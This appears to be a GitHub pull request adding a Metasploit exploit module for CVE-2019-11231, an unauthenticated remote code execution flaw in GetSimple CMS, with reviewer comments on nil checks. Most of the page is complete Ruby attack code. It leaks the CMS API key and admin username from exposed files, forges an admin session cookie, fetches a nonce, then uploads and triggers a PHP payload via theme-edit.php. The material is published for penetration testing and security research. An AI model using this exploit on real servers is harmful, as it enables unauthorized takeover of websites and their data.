Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-11231 exploit: GetSimple CMS Unauth RCE #11802

Merged
merged 9 commits into from
May 16, 2019
178 changes: 178 additions & 0 deletions modules/exploits/multi/http/getsimplecms_unauth_code_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,178 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "GetSimpleCMS Unauthenticated RCE",
'Description' => %q{
This module exploits a vulnerability found in GetSimpleCMS,
which allows unauthenticated attackers to perform Remote Code Execution.
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Describe the attack path. ie, upload a PHP file, bypass auth by leaking API key, etc.

An arbitrary file upload (PHPcode for example) vulnerability can be triggered by an authenticated user,
however authentication can be bypassed by leaking the cms API key to target the session manager.
},
'License' => MSF_LICENSE,
'Author' =>
[
'truerand0m' # Discovery, exploit and Metasploit from Khalifazo,incite_team
],
'References' =>
[
['CVE', '2019-11231'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Add all relevant references, such as https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution

['URL', 'https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution'],
],
'Payload' =>
{
'BadChars' => "\x00"
},
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['GetSimpleCMS 3.3.15 and before', {}]
],
'Privileged' => false,
'DisclosureDate' => "Apr 28 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the cms', '/'])
])
end

def gscms_version
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', '/')
)
return unless res && res.code == 200

generator = res.get_html_document.at(
'//script[@type = "text/javascript"]/@src'
)

fail_with(Failure::NotFound, 'Failed to retrieve generator') unless generator
vers = generator.value.split('?v=').last.gsub(".","")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

generator could be nil here, so please add a check before this line.

2.6.2 :010 > res = Nokogiri::HTML('<html><head><body>Some stuff</body></head></html>')
 => #<Nokogiri::HTML::Document:0x3ff1b50457f4 name="document" children=[#<Nokogiri::XML::DTD:0x3ff1b5045614 name="html">, #<Nokogiri::XML::Element:0x3ff1b50453bc name="html" children=[#<Nokogiri::XML::Element:0x3ff1b5045204 name="head">, #<Nokogiri::XML::Element:0x3ff1b5045038 name="body" children=[#<Nokogiri::XML::Text:0x3ff1b5044e80 "Some stuff">]>]>]> 
2.6.2 :011 > res.at(
2.6.2 :012 >             '//script[@type = "text/javascript"]/@src'
2.6.2 :013?>       )
 => nil 
2.6.2 :014 > vers = generator.value.split('?v=').last.gsub(".","")
Traceback (most recent call last):
        4: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `<main>'
        3: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `load'
        2: from /Users/space/.rvm/rubies/ruby-2.6.2/lib/ruby/gems/2.6.0/gems/irb-1.0.0/exe/irb:11:in `<top (required)>'
        1: from (irb):14
NameError (undefined local variable or method `generator' for main:Object)
2.6.2 :015 > 

return unless vers
@version = vers
end

def get_salt
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200

fail_with(Failure::NotFound, 'Failed to retrieve salt') if res.get_xml_document.at('apikey').nil?
@salt = res.get_xml_document.at('apikey').text
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a check to the value returned by at before accessing it, as nil can be returned.

end

def get_user
uri = normalize_uri(target_uri.path, 'data', 'users' ,'/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200

fail_with(Failure::NotFound, 'Failed to retrieve username') if res.get_html_document.at('[text()*="xml"]').nil?
@username = res.get_html_document.at('[text()*="xml"]').text.split('.xml').first
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please add a check before accessing the value returned by at. This line can cause a failure if the value being searched for is not found.

2.6.2 :001 > require 'nokogiri'
 => true 
2.6.2 :002 > res = Nokogiri::HTML('<html><head><body>Some stuff</body></head></html>')
 => #<Nokogiri::HTML::Document:0x3ff1b4d0f404 name="document" children=[#<Nokogiri::XML::DTD:0x3ff1b4d0ed10 name="html">, #<Nokogiri::XML::Element:0x3ff1b4d0e52c name="html" children=[#<Nokogiri::XML::Element:0x3ff1b4d11da8 name="head">, #<Nokogiri::XML::Element:0x3ff1b4d10a20 name="body" children=[#<Nokogiri::XML::Text:0x3ff1b4d17f8c "Some stuff">]>]>]> 
2.6.2 :003 > res.at('[text()*="xml"]').text.split('.xml').first
Traceback (most recent call last):
        4: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `<main>'
        3: from /Users/space/.rvm/rubies/ruby-2.6.2/bin/irb:23:in `load'
        2: from /Users/space/.rvm/rubies/ruby-2.6.2/lib/ruby/gems/2.6.0/gems/irb-1.0.0/exe/irb:11:in `<top (required)>'
        1: from (irb):3
NoMethodError (undefined method `text' for nil:NilClass)
2.6.2 :004 >

end

def gen_cookie(version,salt,username)
cookie_name = "getsimple_cookie_#{version}"
sha_salt_usr = Digest::SHA1.hexdigest("#{username}#{salt}")

sha_salt_cookie = Digest::SHA1.hexdigest("#{cookie_name}#{salt}")
@cookie = "GS_ADMIN_USERNAME=#{username};#{sha_salt_cookie}=#{sha_salt_usr}"
end
def get_nonce(cookie)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_get' => {
't' => 'Innovation',
'f' => 'Default Template',
's' => 'Edit'
}
})

fail_with(Failure::NotFound, 'Failed to retrieve nonce') if res.get_html_document.at('//input[@id = "nonce"]/@value').nil?
@nonce = res.get_html_document.at('//input[@id = "nonce"]/@value')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This line can return nil, so please add a check on @nonce so no error occurs when this will be accessed later in execution.

end

def exploit
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')
fail_with(Failure::NotVulnerable, 'It appears that the target is not vulnerable')

end
version = gscms_version
salt = get_salt
username = get_user
cookie = gen_cookie(version,salt,username)
nonce = get_nonce(cookie)

fname = "#{rand_text_alpha(6..16)}.php"
php = %Q|<?php #{payload.encoded} ?>|
upload_file(cookie,nonce,fname,php)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'theme',fname),
})
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

  def check
    version = gscms_version
    unless version
      return CheckCode::Safe
    end

    vprint_status "GetSimpleCMS version #{version}"

    unless vulnerable
      return CheckCode::Detected
    end

    CheckCode::Vulnerable
  end

version = gscms_version
unless version
return CheckCode::Safe
end
vprint_status "GetSimpleCMS version #{version}"
unless vulnerable
return CheckCode::Detected
end
CheckCode::Vulnerable
end

def vulnerable
uri = normalize_uri(target_uri.path, 'data', 'other', 'authorization.xml')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200

uri = normalize_uri(target_uri.path, 'data', 'users', '/')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
return true
end

def upload_file(cookie,nonce,fname,content)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'admin','theme-edit.php'),
'cookie' => cookie,
'vars_post' => {
'submitsave' => 2,
'edited_file' => fname,
'content' => content,
'nonce' => nonce
}
})
end
end